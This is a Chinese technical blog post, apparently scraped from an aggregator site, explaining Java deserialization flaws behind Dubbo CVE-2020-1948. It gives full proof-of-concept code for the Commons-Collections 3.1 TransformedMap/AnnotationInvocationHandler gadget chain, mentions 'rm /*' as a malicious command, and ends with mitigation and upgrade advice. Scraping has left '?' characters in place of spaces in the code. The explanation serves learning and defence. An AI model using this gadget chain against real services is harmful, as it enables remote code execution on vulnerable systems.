Dubbo 高危漏洞!原来都是反序列化惹得祸
前言
這周收到外部合作同事推送的一篇文章,【漏洞通告】Apache Dubbo Provider默認(rèn)反序列化遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2020-1948)通告。
按照文章披露的漏洞影響范圍,可以說是當(dāng)前所有的 Dubbo 的版本都有這個(gè)問題。
無獨(dú)有偶,這周在 Github 自己的倉庫上推送幾行改動,不一會就收到 Github 安全提示,警告當(dāng)前項(xiàng)目存在安全漏洞CVE-2018-10237。
可以看到這兩個(gè)漏洞都是利用反序列化進(jìn)行執(zhí)行惡意代碼,可能很多同學(xué)跟我當(dāng)初一樣,看到這個(gè)一臉懵逼。好端端的反序列化,怎么就能被惡意利用,用來執(zhí)行的惡意代碼?
這篇文章我們就來聊聊反序列化漏洞,了解一下黑客是如何利用這個(gè)漏洞進(jìn)行攻擊。
反序列化漏洞
在了解反序列化漏洞之前,首先我們學(xué)習(xí)一下兩個(gè)基礎(chǔ)知識。
Java 運(yùn)行外部命令
Java 中有一個(gè)類 Runtime,我們可以使用這個(gè)類執(zhí)行執(zhí)行一些外部命令。
下面例子中我們使用 Runtime 運(yùn)行打開系統(tǒng)的計(jì)算器軟件。
//?僅適用macos? Runtime.getRuntime().exec("open?-a?Calculator?");有了這個(gè)類,惡意代碼就可以執(zhí)行外部命令,比如執(zhí)行一把 rm /*。
序列化/反序列化
如果經(jīng)常使用 Dubbo,Java 序列化與反序列化應(yīng)該不會陌生。
一個(gè)類通過實(shí)現(xiàn) Serializable接口,我們就可以將其序列化成二進(jìn)制數(shù)據(jù),進(jìn)而存儲在文件中,或者使用網(wǎng)絡(luò)傳輸。
其他程序可以通過網(wǎng)絡(luò)接收,或者讀取文件的方式,讀取序列化的數(shù)據(jù),然后對其進(jìn)行反序列化,從而反向得到相應(yīng)的類的實(shí)例。
下面的例子我們將 App 的對象進(jìn)行序列化,然后將數(shù)據(jù)保存到的文件中。后續(xù)再從文件中讀取序列化數(shù)據(jù),對其進(jìn)行反序列化得到 App 類的對象實(shí)例。
public?class?App?implements?Serializable?{private?String?name;private?static?final?long?serialVersionUID?=?7683681352462061434L;private?void?readObject(java.io.ObjectInputStream?in)?throws?IOException,?ClassNotFoundException?{in.defaultReadObject();System.out.println("readObject?name?is?"+name);Runtime.getRuntime().exec("open?-a?Calculator");}public?static?void?main(String[]?args)?throws?IOException,?ClassNotFoundException?{App?app?=?new?App();app.name?=?"程序通事";FileOutputStream?fos?=?new?FileOutputStream("test.payload");ObjectOutputStream?os?=?new?ObjectOutputStream(fos);//writeObject()方法將Unsafe對象寫入object文件os.writeObject(app);os.close();//從文件中反序列化obj對象FileInputStream?fis?=?new?FileInputStream("test.payload");ObjectInputStream?ois?=?new?ObjectInputStream(fis);//恢復(fù)對象App?objectFromDisk?=?(App)ois.readObject();System.out.println("main?name?is?"+objectFromDisk.name);ois.close();}執(zhí)行結(jié)果:
readObject name is 程序通事 main name is 程序通事并且成功打開了計(jì)算器程序。
當(dāng)我們調(diào)用 ObjectInputStream#readObject讀取反序列化的數(shù)據(jù),如果對象內(nèi)實(shí)現(xiàn)了 readObject方法,這個(gè)方法將會被調(diào)用。
源碼如下:
反序列化漏洞執(zhí)行條件
上面的例子中,我們在 readObject 方法內(nèi)主動使用Runtime執(zhí)行外部命令。但是正常的情況下,我們肯定不會在 readObject寫上述代碼,除非是內(nèi)鬼 ̄□ ̄||
如果可以找到一個(gè)對象,他的readObject方法可以執(zhí)行任意代碼,那么在反序列過程也會執(zhí)行對應(yīng)的代碼。我們只要將滿足上述條件的對象序列化之后發(fā)送給先相應(yīng) Java 程序,Java 程序讀取之后,進(jìn)行反序列化,就會執(zhí)行指定的代碼。
為了使反序列化漏洞成功執(zhí)行需要滿足以下條件:
Java 反序列化應(yīng)用中需要存在序列化使用的類,不然反序列化時(shí)將會拋出 ?ClassNotFoundException 異常。
Java 反序列化對象的 readObject方法可以執(zhí)行任何代碼,沒有任何驗(yàn)證或者限制。
引用一段網(wǎng)上的反序列化攻擊流程,來源:https://xz.aliyun.com/t/7031
客戶端構(gòu)造payload(有效載荷),并進(jìn)行一層層的封裝,完成最后的exp(exploit-利用代碼)
exp發(fā)送到服務(wù)端,進(jìn)入一個(gè)服務(wù)端自主復(fù)寫(也可能是也有組件復(fù)寫)的readobject函數(shù),它會反序列化恢復(fù)我們構(gòu)造的exp去形成一個(gè)惡意的數(shù)據(jù)格式exp_1(剝?nèi)サ谝粚?#xff09;
這個(gè)惡意數(shù)據(jù)exp_1在接下來的處理流程(可能是在自主復(fù)寫的readobject中、也可能是在外面的邏輯中),會執(zhí)行一個(gè)exp_1這個(gè)惡意數(shù)據(jù)類的一個(gè)方法,在方法中會根據(jù)exp_1的內(nèi)容進(jìn)行函處理,從而一層層地剝?nèi)?#xff08;或者說變形、解析)我們exp_1變成exp_2、exp_3......
最后在一個(gè)可執(zhí)行任意命令的函數(shù)中執(zhí)行最后的payload,完成遠(yuǎn)程代碼執(zhí)行。
Common-Collections
下面我們以 Common-Collections 的存在反序列化漏洞為例,來復(fù)現(xiàn)反序列化攻擊流程。
首先我們在應(yīng)用內(nèi)引入 Common-Collections 依賴,這里需要注意,我們需要引入 3.2.2 版本之前,之后的版本這個(gè)漏洞已經(jīng)被修復(fù)。
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version> </dependency>PS:下面的代碼只有在 JDK7 環(huán)境下執(zhí)行才能復(fù)現(xiàn)這個(gè)問題。
首先我們需要明確,我們做一系列目的就是為了讓應(yīng)用程序成功執(zhí)行 Runtime.getRuntime().exec("open -a Calculator")。
當(dāng)然我們沒辦法讓程序直接運(yùn)行上述語句,我們需要借助其他類,間接執(zhí)行。
Common-Collections存在一個(gè) Transformer,可以將一個(gè)對象類型轉(zhuǎn)為另一個(gè)對象類型,相當(dāng)于 Java Stream 中的 map 函數(shù)。
Transformer有幾個(gè)實(shí)現(xiàn)類:
ConstantTransformer
InvokerTransformer
ChainedTransformer
其中 ConstantTransformer用于將對象轉(zhuǎn)為一個(gè)常量值,例如:
Transformer?transformer?=?new?ConstantTransformer("程序通事"); Object?transform?=?transformer.transform("樓下小黑哥"); //?輸出對象為?程序通事 System.out.println(transform);InvokerTransformer將會使用反射機(jī)制執(zhí)行指定方法,例如:
Transformer?transformer?=?new?InvokerTransformer("append",new?Class[]{String.class},new?Object[]{"樓下小黑哥"} ); StringBuilder?input=new?StringBuilder("程序通事-"); //?反射執(zhí)行了?input.append("樓下小黑哥"); Object?transform?=?transformer.transform(input); //?程序通事-樓下小黑哥 System.out.println(transform);ChainedTransformer 需要傳入一個(gè) Transformer[]數(shù)組對象,使用責(zé)任鏈模式執(zhí)行的內(nèi)部 Transformer,例如:
Transformer[]?transformers?=?new?Transformer[]{new?ConstantTransformer(Runtime.getRuntime()),new?InvokerTransformer("exec",new?Class[]{String.class},?new?Object[]{"open?-a?Calculator"}) };Transformer?chainTransformer?=?new?ChainedTransformer(transformers); chainTransformer.transform("任意對象值");通過 ChainedTransformer 鏈?zhǔn)綀?zhí)行 ConstantTransformer,InvokerTransformer邏輯,最后我們成功的運(yùn)行的 Runtime語句。
不過上述的代碼存在一些問題,Runtime沒有繼承 Serializable接口,我們無法將其進(jìn)行序列化。
如果對其進(jìn)行序列化程序?qū)伋霎惓?#xff1a;
我們需要改造以上代碼,使用 Runtime.class 經(jīng)過一系列的反射執(zhí)行:
String[]?execArgs?=?new?String[]{"open?-a?Calculator"};final?Transformer[]?transformers?=?new?Transformer[]{new?ConstantTransformer(Runtime.class),new?InvokerTransformer("getMethod",new?Class[]{String.class,?Class[].class},new?Object[]{"getRuntime",?new?Class[0]}),new?InvokerTransformer("invoke",new?Class[]{Object.class,?Object[].class},new?Object[]{null,?new?Object[0]}),new?InvokerTransformer("exec",new?Class[]{String.class},?execArgs), };剛接觸這塊的同學(xué)的應(yīng)該已經(jīng)看暈了吧,沒關(guān)系,我將上面的代碼翻譯一下正常的反射代碼一下:
((Runtime)?Runtime.class.getMethod("getRuntime",?null).invoke(null,?null)).exec("open?-a?Calculator");TransformedMap
接下來我們需要找到相關(guān)類,可以自動調(diào)用Transformer內(nèi)部方法。
Common-Collections內(nèi)有兩個(gè)類將會調(diào)用 Transformer:
TransformedMap
LazyMap
下面將會主要介紹 TransformedMap觸發(fā)方式,LazyMap觸發(fā)方式比較類似,感興趣的同學(xué)可以研究這個(gè)開源庫@ysoserial CommonsCollections1。
Github 地址:https://github.com/frohoff/ysoserial
TransformedMap 可以用來對 Map 進(jìn)行某種變換,底層原理實(shí)際上是使用傳入的 Transformer 進(jìn)行轉(zhuǎn)換。
Transformer?transformer?=?new?ConstantTransformer("程序通事");Map<String,?String>?testMap?=?new?HashMap<>(); testMap.put("a",?"A"); //?只對?value?進(jìn)行轉(zhuǎn)換 Map?decorate?=?TransformedMap.decorate(testMap,?null,?transformer); //?put?方法將會觸發(fā)調(diào)用?Transformer?內(nèi)部方法 decorate.put("b",?"B");for?(Object?entry?:?decorate.entrySet())?{Map.Entry?temp?=?(Map.Entry)?entry;if?(temp.getKey().equals("a"))?{//?Map.Entry?setValue?也會觸發(fā)?Transformer?內(nèi)部方法temp.setValue("AAA");} } System.out.println(decorate);輸出結(jié)果為:
{b=程序通事,?a=程序通事}AnnotationInvocationHandler
上文中我們知道了,只要調(diào)用 TransformedMap的 put 方法,或者調(diào)用 Map.Entry的 setValue方法就可以觸發(fā)我們設(shè)置的 ChainedTransformer,從而觸發(fā) Runtime 執(zhí)行外部命令。
現(xiàn)在我們就需要找到一個(gè)可序列化的類,這個(gè)類正好實(shí)現(xiàn)了 readObject,且正好可以調(diào)用 Map put 的方法或者調(diào)用 Map.Entry的 setValue。
Java 中有一個(gè)類 sun.reflect.annotation.AnnotationInvocationHandler,正好滿足上述的條件。這個(gè)類構(gòu)造函數(shù)可以設(shè)置一個(gè) Map 變量,這下剛好可以把上面的 TransformedMap 設(shè)置進(jìn)去。
不過不要高興的太早,這個(gè)類沒有 public 修飾符,默認(rèn)只有同一個(gè)包才可以使用。
不過這點(diǎn)難度,跟上面一比,還真是輕松,我們可以通過反射獲取從而獲取這個(gè)類的實(shí)例。
示例代碼如下:
Class?cls?=?Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor?ctor?=?cls.getDeclaredConstructor(Class.class,?Map.class); ctor.setAccessible(true); //?隨便使用一個(gè)注解 Object?instance?=?ctor.newInstance(Target.class,?exMap);完整的序列化漏洞示例代碼如下 :
String[]?execArgs?=?new?String[]{"open?-a?Calculator"};final?Transformer[]?transformers?=?new?Transformer[]{new?ConstantTransformer(Runtime.class),new?InvokerTransformer("getMethod",new?Class[]{String.class,?Class[].class},new?Object[]{"getRuntime",?new?Class[0]}),new?InvokerTransformer("invoke",new?Class[]{Object.class,?Object[].class},new?Object[]{null,?new?Object[0]}),new?InvokerTransformer("exec",new?Class[]{String.class},?execArgs), }; // Transformer?transformerChain?=?new?ChainedTransformer(transformers);Map<String,?String>?tempMap?=?new?HashMap<>(); //?tempMap?不能為空 tempMap.put("value",?"you");Map?exMap?=?TransformedMap.decorate(tempMap,?null,?transformerChain);Class?cls?=?Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor?ctor?=?cls.getDeclaredConstructor(Class.class,?Map.class); ctor.setAccessible(true); //?隨便使用一個(gè)注解 Object?instance?=?ctor.newInstance(Target.class,?exMap);File?f?=?new?File("test.payload"); ObjectOutputStream?oos?=?new?ObjectOutputStream(new?FileOutputStream(f)); oos.writeObject(instance); oos.flush(); oos.close();ObjectInputStream?ois?=?new?ObjectInputStream(new?FileInputStream(f)); //?觸發(fā)代碼執(zhí)行 Object?newObj?=?ois.readObject(); ois.close();上面代碼中需要注意,tempMap需要一定不能為空,且 key 一定要是 value。那可能有的同學(xué)為什么一定要這樣設(shè)置?
tempMap不能為空的原因是因?yàn)?readObject 方法內(nèi)需要遍歷內(nèi)部 Map.Entry.
至于第二個(gè)問題,別問,問就是玄學(xué)~好吧,我也沒研究清楚--,有了解的小伙伴的留言一下。
最后總結(jié)一下這個(gè)反序列化漏洞代碼執(zhí)行鏈路如下:
Common-Collections 漏洞修復(fù)方式
在 JDK 8 中,AnnotationInvocationHandler 移除了 memberValue.setValue的調(diào)用,從而使我們上面構(gòu)造的 AnnotationInvocationHandler+TransformedMap失效。
另外 Common-Collections3.2.2 版本,對這些不安全的 Java 類序列化支持增加了開關(guān),默認(rèn)為關(guān)閉狀態(tài)。
比如在 InvokerTransformer類中重寫 readObject,增相關(guān)判斷。如果沒有開啟不安全的類的序列化則會拋出UnsupportedOperationException異常
Dubbo 反序列化漏洞
Dubbo 反序列化漏洞原理與上面的類似,但是執(zhí)行的代碼攻擊鏈與上面完全不一樣,這里就不再復(fù)現(xiàn)的詳細(xì)的實(shí)現(xiàn)的方式。
Dubbo 在 2020-06-22 日發(fā)布 2.7.7 版本,升級內(nèi)容名其中包括了這個(gè)反序列化漏洞的修復(fù)。不過從其他人發(fā)布的文章來看,2.7.7 版本的修復(fù)方式,只是初步改善了問題,不過并沒有根本上解決的這個(gè)問題。
防護(hù)措施
最后作為一名普通的開發(fā)者來說,我們自己來修復(fù)這種漏洞,實(shí)在不太現(xiàn)實(shí)。
術(shù)業(yè)有專攻,這種專業(yè)的事,我們就交給個(gè)高的人來頂。
我們需要做的事,就是了解的這些漏洞的一些基本原理,樹立的一定意識。
其次我們需要了解一些基本的防護(hù)措施,做到一些基本的防御。
如果碰到這類問題,我們及時(shí)需要關(guān)注官方的新的修復(fù)版本,盡早升級,比如 Common-Collections 版本升級。
有些依賴 jar 包,升級還是方便,但是有些東西升級就比較麻煩了。就比如這次 Dubbo 來說,官方目前只放出的 Dubbo 2.7 版本的修復(fù)版本,如果我們需要升級,需要將版本直接升級到 Dubbo 2.7.7。
如果你目前已經(jīng)在使用 Dubbo 2.7 版本,那么升級還是比較簡單。但是如果還在使用 Dubbo 2.6 以下版本的,那么就麻煩了,沒辦法直接升級。
Dubbo 2.6 到 Dubbo 2.7 版本,其中升級太多了東西,就比如包名變更,影響真的比較大。
就拿我們系統(tǒng)來講,我們目前這套系統(tǒng),生產(chǎn)還在使用 JDK7。如果需要升級,我們首先需要升級 JDK。
其次,我們目前大部分應(yīng)用還在使用 Dubbo 2.5.6 版本,這是真的,版本就是這么低。
這部分應(yīng)用直接升級到 Dubbo 2.7 ,改動其實(shí)非常大。另外有些基礎(chǔ)服務(wù),自從第一次部署之后,就再也沒有重新部署過。對于這類應(yīng)用還需要仔細(xì)評估。
最后,我們有些應(yīng)用,自己實(shí)現(xiàn)了 Dubbo SPI,由于 Dubbo 2.7 版本的包路徑改動,這些 Dubbo SPI 相關(guān)包路徑也需要做出一些改動。
所以直接升級到 Dubbo 2.7 版本的,對于一些老系統(tǒng)來講,還真是一件比較麻煩的事。
如果真的需要升級,不建議一次性全部升級,建議采用逐步升級替換的方式,慢慢將整個(gè)系統(tǒng)的內(nèi) Dubbo 版本的升級。
所以這種情況下,短時(shí)間內(nèi)防御措施,可參考玄武實(shí)驗(yàn)室給出的方案:
如果當(dāng)前 Dubbo 部署云上,那其實(shí)比較簡單,可以使用云廠商的提供的相關(guān)流量監(jiān)控產(chǎn)品,提前一步阻止漏洞的利用。
幫助資料
http://blog.nsfocus.net/deserialization/
http://www.beesfun.com/2017/05/07/JAVA反序列化漏洞知識點(diǎn)整理/
https://xz.aliyun.com/t/2041
https://xz.aliyun.com/t/2028
https://www.freebuf.com/vuls/241975.html
http://rui0.cn/archives/1338
http://apachecommonstipsandtricks.blogspot.com/2009/01/transformedmap-and-transformers-plug-in.html
https://security.tencent.com/index.php/blog/msg/97
JAVA反序列化漏洞完整過程分析與調(diào)試
https://security.tencent.com/index.php/blog/msg/131
https://paper.seebug.org/1264/#35
有道無術(shù),術(shù)可成;有術(shù)無道,止于術(shù)
歡迎大家關(guān)注Java之道公眾號
好文章,我在看??
總結(jié)
以上是生活随笔為你收集整理的Dubbo 高危漏洞!原来都是反序列化惹得祸的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Win10 calc.exe 无法打开计
- 下一篇: 8.3 直接插入排序